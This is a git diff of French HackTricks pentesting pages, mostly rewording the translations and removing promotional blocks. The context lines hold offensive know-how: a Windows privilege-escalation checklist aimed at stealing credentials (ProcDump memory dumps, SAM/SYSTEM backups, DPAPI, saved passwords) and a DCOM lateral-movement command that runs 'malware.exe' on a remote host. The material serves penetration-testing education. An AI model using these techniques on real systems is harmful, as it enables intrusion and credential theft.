* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### **Meilleur outil pour rechercher des vecteurs d'élévation de privilèges locale Windows :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
### **Meilleur outil pour rechercher des vecteurs d'élévation de privilèges locale Windows :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||||
|
|
||||||
### [Informations système](windows-local-privilege-escalation/#system-info)
|
### [Informations système](windows-local-privilege-escalation/#system-info)
|
||||||
|
|
||||||
* [ ] Obtenir [**Informations système**](windows-local-privilege-escalation/#system-info)
|
* [ ] Obtenez [**des informations système**](windows-local-privilege-escalation/#system-info)
|
||||||
* [ ] Rechercher des **exploits de noyau** [**en utilisant des scripts**](windows-local-privilege-escalation/#version-exploits)
|
* [ ] Recherchez des **exploits de noyau** [**à l'aide de scripts**](windows-local-privilege-escalation/#version-exploits)
|
||||||
* [ ] Utiliser **Google pour rechercher** des **exploits de noyau**
|
* [ ] Utilisez **Google pour rechercher** des **exploits de noyau**
|
||||||
* [ ] Utiliser **searchsploit pour rechercher** des **exploits de noyau**
|
* [ ] Utilisez **searchsploit pour rechercher** des **exploits de noyau**
|
||||||
* [ ] Informations intéressantes dans [**env vars**](windows-local-privilege-escalation/#environment) ?
|
* [ ] Informations intéressantes dans [**les variables d'environnement**](windows-local-privilege-escalation/#environment)?
|
||||||
* [ ] Mots de passe dans [**l'historique PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
* [ ] Mots de passe dans [**l'historique PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
||||||
* [ ] Informations intéressantes dans [**paramètres Internet**](windows-local-privilege-escalation/#internet-settings) ?
|
* [ ] Informations intéressantes dans [**les paramètres Internet**](windows-local-privilege-escalation/#internet-settings)?
|
||||||
* [ ] [**Lecteurs**](windows-local-privilege-escalation/#drives)?
|
* [ ] [**Lecteurs**](windows-local-privilege-escalation/#drives)?
|
||||||
* [ ] [**Exploitation WSUS**](windows-local-privilege-escalation/#wsus)?
|
* [ ] [**Exploitation WSUS**](windows-local-privilege-escalation/#wsus)?
|
||||||
* [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
* [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
||||||
|
|
||||||
### [Journalisation/Énumération AV](windows-local-privilege-escalation/#enumeration)
|
### [Énumération des journaux/AV](windows-local-privilege-escalation/#enumeration)
|
||||||
|
|
||||||
* [ ] Vérifiez les [**paramètres d'audit**](windows-local-privilege-escalation/#audit-settings) et [**WEF**](windows-local-privilege-escalation/#wef)
|
* [ ] Vérifiez les paramètres [**d'audit**](windows-local-privilege-escalation/#audit-settings) et [**WEF**](windows-local-privilege-escalation/#wef)
|
||||||
* [ ] Vérifiez [**LAPS**](windows-local-privilege-escalation/#laps)
|
* [ ] Vérifiez [**LAPS**](windows-local-privilege-escalation/#laps)
|
||||||
* [ ] Vérifiez si [**WDigest**](windows-local-privilege-escalation/#wdigest) est actif
|
* [ ] Vérifiez si [**WDigest**](windows-local-privilege-escalation/#wdigest) est actif
|
||||||
* [ ] [**Protection LSA**](windows-local-privilege-escalation/#lsa-protection)?
|
* [ ] [**Protection LSA**](windows-local-privilege-escalation/#lsa-protection)?
|
||||||
* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||||
* [ ] [**Identifiants mis en cache**](windows-local-privilege-escalation/#cached-credentials)?
|
* [ ] [**Identifiants mis en cache**](windows-local-privilege-escalation/#cached-credentials)?
|
||||||
* [ ] Vérifiez si un [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) est présent
|
* [ ] Vérifiez si un [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||||
* [ ] [**Politique AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
* [ ] [**Politique AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||||
* [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
* [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||||
* [ ] [**Privilèges utilisateur**](windows-local-privilege-escalation/#users-and-groups)
|
* [ ] [**Privilèges utilisateur**](windows-local-privilege-escalation/#users-and-groups)
|
||||||
|
@ -54,21 +46,21 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* [ ] Êtes-vous [**membre d'un groupe privilégié**](windows-local-privilege-escalation/#privileged-groups)?
|
* [ ] Êtes-vous [**membre d'un groupe privilégié**](windows-local-privilege-escalation/#privileged-groups)?
|
||||||
* [ ] Vérifiez si vous avez [l'un de ces jetons activés](windows-local-privilege-escalation/#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
* [ ] Vérifiez si vous avez [l'un de ces jetons activés](windows-local-privilege-escalation/#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||||
* [ ] [**Sessions utilisateurs**](windows-local-privilege-escalation/#logged-users-sessions)?
|
* [ ] [**Sessions utilisateurs**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||||
* [ ] Vérifiez les [**dossiers personnels des utilisateurs**](windows-local-privilege-escalation/#home-folders) (accès ?)
|
* [ ] Vérifiez [**les répertoires des utilisateurs**](windows-local-privilege-escalation/#home-folders) (accès ?)
|
||||||
* [ ] Vérifiez la [**Politique de mot de passe**](windows-local-privilege-escalation/#password-policy)
|
* [ ] Vérifiez la [**politique de mot de passe**](windows-local-privilege-escalation/#password-policy)
|
||||||
* [ ] Que contient [**le Presse-papiers**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) ?
|
* [ ] Qu'est-ce qu'il y a [**dans le Presse-papiers**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||||
|
|
||||||
### [Réseau](windows-local-privilege-escalation/#network)
|
### [Réseau](windows-local-privilege-escalation/#network)
|
||||||
|
|
||||||
* [ ] Vérifiez les [**informations réseau actuelles**](windows-local-privilege-escalation/#network)
|
* [ ] Vérifiez les [**informations réseau actuelles**](windows-local-privilege-escalation/#network)
|
||||||
* [ ] Vérifiez les **services locaux cachés** restreints à l'extérieur
|
* [ ] Vérifiez les **services locaux cachés** restreints à l'extérieur
|
||||||
|
|
||||||
### [Processus en cours](windows-local-privilege-escalation/#running-processes)
|
### [Processus en cours d'exécution](windows-local-privilege-escalation/#running-processes)
|
||||||
|
|
||||||
* [ ] Permissions des fichiers et dossiers des **binaires de processus** [**file and folders permissions**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
* [ ] Permissions des fichiers et dossiers des binaires [**des processus**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||||
* [ ] [**Extraction de mots de passe en mémoire**](windows-local-privilege-escalation/#memory-password-mining)
|
* [ ] [**Extraction de mots de passe en mémoire**](windows-local-privilege-escalation/#memory-password-mining)
|
||||||
* [ ] [**Applications GUI non sécurisées**](windows-local-privilege-escalation/#insecure-gui-apps)
|
* [ ] [**Applications GUI non sécurisées**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||||
* [ ] Voler des identifiants avec des **processus intéressants** via `ProcDump.exe` ? (firefox, chrome, etc ...)
|
* [ ] Voler des identifiants avec **des processus intéressants** via `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||||
|
|
||||||
### [Services](windows-local-privilege-escalation/#services)
|
### [Services](windows-local-privilege-escalation/#services)
|
||||||
|
|
||||||
|
@ -79,7 +71,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
### [**Applications**](windows-local-privilege-escalation/#applications)
|
### [**Applications**](windows-local-privilege-escalation/#applications)
|
||||||
|
|
||||||
* [ ] **Écrire** [**permissions sur les applications installées**](windows-local-privilege-escalation/#write-permissions)
|
* [ ] **Écrire** [**des permissions sur les applications installées**](windows-local-privilege-escalation/#write-permissions)
|
||||||
* [ ] [**Applications de démarrage**](windows-local-privilege-escalation/#run-at-startup)
|
* [ ] [**Applications de démarrage**](windows-local-privilege-escalation/#run-at-startup)
|
||||||
* [ ] **Pilotes vulnérables** [**Drivers**](windows-local-privilege-escalation/#drivers)
|
* [ ] **Pilotes vulnérables** [**Drivers**](windows-local-privilege-escalation/#drivers)
|
||||||
|
|
||||||
|
@ -92,7 +84,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
### [Réseau](windows-local-privilege-escalation/#network)
|
### [Réseau](windows-local-privilege-escalation/#network)
|
||||||
|
|
||||||
* [ ] Énumérez le réseau (partages, interfaces, routes, voisins, ...)
|
* [ ] Énumérez le réseau (partages, interfaces, routes, voisins, ...)
|
||||||
* [ ] Faites particulièrement attention aux services réseau écoutant sur localhost (127.0.0.1)
|
* [ ] Portez une attention particulière aux services réseau écoutant sur localhost (127.0.0.1)
|
||||||
|
|
||||||
### [Identifiants Windows](windows-local-privilege-escalation/#windows-credentials)
|
### [Identifiants Windows](windows-local-privilege-escalation/#windows-credentials)
|
||||||
|
|
||||||
|
@ -100,31 +92,31 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* [ ] [**Identifiants Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que vous pourriez utiliser ?
|
* [ ] [**Identifiants Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que vous pourriez utiliser ?
|
||||||
* [ ] Informations intéressantes sur les [**identifiants DPAPI**](windows-local-privilege-escalation/#dpapi) ?
|
* [ ] Informations intéressantes sur les [**identifiants DPAPI**](windows-local-privilege-escalation/#dpapi) ?
|
||||||
* [ ] Mots de passe des [**réseaux Wifi enregistrés**](windows-local-privilege-escalation/#wifi) ?
|
* [ ] Mots de passe des [**réseaux Wifi enregistrés**](windows-local-privilege-escalation/#wifi) ?
|
||||||
* [ ] Informations intéressantes dans les [**connexions RDP enregistrées**](windows-local-privilege-escalation/#saved-rdp-connections) ?
|
* [ ] Informations intéressantes dans [**les connexions RDP enregistrées**](windows-local-privilege-escalation/#saved-rdp-connections) ?
|
||||||
* [ ] Mots de passe dans les [**commandes récemment exécutées**](windows-local-privilege-escalation/#recently-run-commands) ?
|
* [ ] Mots de passe dans [**les commandes récemment exécutées**](windows-local-privilege-escalation/#recently-run-commands) ?
|
||||||
* [ ] Mots de passe du [**Gestionnaire d'identifiants de bureau à distance**](windows-local-privilege-escalation/#remote-desktop-credential-manager) ?
|
* [ ] Mots de passe du [**Gestionnaire d'identifiants de bureau à distance**](windows-local-privilege-escalation/#remote-desktop-credential-manager) ?
|
||||||
* [ ] [**AppCmd.exe** existe-t-il](windows-local-privilege-escalation/#appcmd-exe) ? Identifiants ?
|
* [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/#appcmd-exe) ? Identifiants ?
|
||||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm) ? Chargement latéral de DLL ?
|
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm) ? Chargement latéral de DLL ?
|
||||||
|
|
||||||
### [Fichiers et Registre (Identifiants)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
### [Fichiers et Registre (Identifiants)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||||
|
|
||||||
* [ ] **Putty :** [**Identifiants**](windows-local-privilege-escalation/#putty-creds) **et** [**clés hôtes SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
* [ ] **Putty :** [**Identifiants**](windows-local-privilege-escalation/#putty-creds) **et** [**clés hôtes SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||||
* [ ] [**Clés SSH dans le registre**](windows-local-privilege-escalation/#ssh-keys-in-registry) ?
|
* [ ] [**Clés SSH dans le registre**](windows-local-privilege-escalation/#ssh-keys-in-registry) ?
|
||||||
* [ ] Mots de passe dans les [**fichiers non surveillés**](windows-local-privilege-escalation/#unattended-files) ?
|
* [ ] Mots de passe dans [**les fichiers non surveillés**](windows-local-privilege-escalation/#unattended-files) ?
|
||||||
* [ ] Y a-t-il une sauvegarde de [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) ?
|
* [ ] Y a-t-il une sauvegarde de [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) ?
|
||||||
* [ ] [**Identifiants Cloud**](windows-local-privilege-escalation/#cloud-credentials) ?
|
* [ ] [**Identifiants Cloud**](windows-local-privilege-escalation/#cloud-credentials) ?
|
||||||
* [ ] Fichier [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) ?
|
* [ ] Fichier [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) ?
|
||||||
* [ ] [**Mot de passe GPP mis en cache**](windows-local-privilege-escalation/#cached-gpp-pasword) ?
|
* [ ] [**Mot de passe GPP mis en cache**](windows-local-privilege-escalation/#cached-gpp-pasword) ?
|
||||||
* [ ] Mot de passe dans le [**fichier de configuration IIS Web**](windows-local-privilege-escalation/#iis-web-config) ?
|
* [ ] Mot de passe dans le [**fichier de configuration IIS Web**](windows-local-privilege-escalation/#iis-web-config) ?
|
||||||
* [ ] Informations intéressantes dans les [**journaux web**](windows-local-privilege-escalation/#logs) ?
|
* [ ] Informations intéressantes dans [**les journaux web**](windows-local-privilege-escalation/#logs) ?
|
||||||
* [ ] Voulez-vous [**demander des identifiants**](windows-local-privilege-escalation/#ask-for-credentials) à l'utilisateur ?
|
* [ ] Voulez-vous [**demander des identifiants**](windows-local-privilege-escalation/#ask-for-credentials) à l'utilisateur ?
|
||||||
* [ ] Fichiers intéressants à l'intérieur de la [**Corbeille**](windows-local-privilege-escalation/#credentials-in-the-recyclebin) ?
|
* [ ] Fichiers intéressants [**dans la Corbeille**](windows-local-privilege-escalation/#credentials-in-the-recyclebin) ?
|
||||||
* [ ] Autres [**registres contenant des identifiants**](windows-local-privilege-escalation/#inside-the-registry) ?
|
* [ ] Autres [**registres contenant des identifiants**](windows-local-privilege-escalation/#inside-the-registry) ?
|
||||||
* [ ] À l'intérieur des [**données du navigateur**](windows-local-privilege-escalation/#browsers-history) (dbs, historique, signets, ...) ?
|
* [ ] À l'intérieur des [**données du navigateur**](windows-local-privilege-escalation/#browsers-history) (dbs, historique, signets, ...) ?
|
||||||
* [ ] [**Recherche de mots de passe génériques**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) dans les fichiers et le registre
|
* [ ] [**Recherche de mots de passe génériques**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) dans les fichiers et le registre
|
||||||
* [ ] [**Outils**](windows-local-privilege-escalation/#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe
|
* [ ] [**Outils**](windows-local-privilege-escalation/#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe
|
||||||
|
|
||||||
### [Gestionnaires de fuites](windows-local-privilege-escalation/#leaked-handlers)
|
### [Gestionnaires fuyants](windows-local-privilege-escalation/#leaked-handlers)
|
||||||
|
|
||||||
* [ ] Avez-vous accès à un gestionnaire d'un processus exécuté par l'administrateur ?
|
* [ ] Avez-vous accès à un gestionnaire d'un processus exécuté par l'administrateur ?
|
||||||
|
|
||||||
|
@ -132,12 +124,6 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [ ] Vérifiez si vous pouvez en abuser
|
* [ ] Vérifiez si vous pouvez en abuser
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -147,8 +133,8 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,33 +1,25 @@
|
||||||
# DCOM Exec
|
# DCOM Exec
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## MMC20.Application
|
## MMC20.Application
|
||||||
|
|
||||||
**Pour plus d'infos sur cette technique, consultez le post original de [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
**Pour plus d'informations sur cette technique, consultez le post original de [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||||
|
|
||||||
Les objets du Modèle d'Objet Composant Distribué (DCOM) présentent une capacité intéressante pour les interactions basées sur le réseau avec des objets. Microsoft fournit une documentation complète pour DCOM et le Modèle d'Objet Composant (COM), accessible [ici pour DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) et [ici pour COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Une liste d'applications DCOM peut être récupérée en utilisant la commande PowerShell :
|
Les objets du modèle d'objet composant distribué (DCOM) présentent une capacité intéressante pour les interactions basées sur le réseau avec des objets. Microsoft fournit une documentation complète pour DCOM et le modèle d'objet composant (COM), accessible [ici pour DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) et [ici pour COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Une liste d'applications DCOM peut être récupérée en utilisant la commande PowerShell :
|
||||||
```bash
|
```bash
|
||||||
Get-CimInstance Win32_DCOMApplication
|
Get-CimInstance Win32_DCOMApplication
|
||||||
```
|
```
|
||||||
|
@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -135,7 +121,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Access Tokens
|
## Access Tokens
|
||||||
|
|
||||||
Chaque **utilisateur connecté** au système **détient un jeton d'accès avec des informations de sécurité** pour cette session de connexion. Le système crée un jeton d'accès lorsque l'utilisateur se connecte. **Chaque processus exécuté** au nom de l'utilisateur **a une copie du jeton d'accès**. Le jeton identifie l'utilisateur, les groupes de l'utilisateur et les privilèges de l'utilisateur. Un jeton contient également un SID de connexion (Identifiant de sécurité) qui identifie la session de connexion actuelle.
|
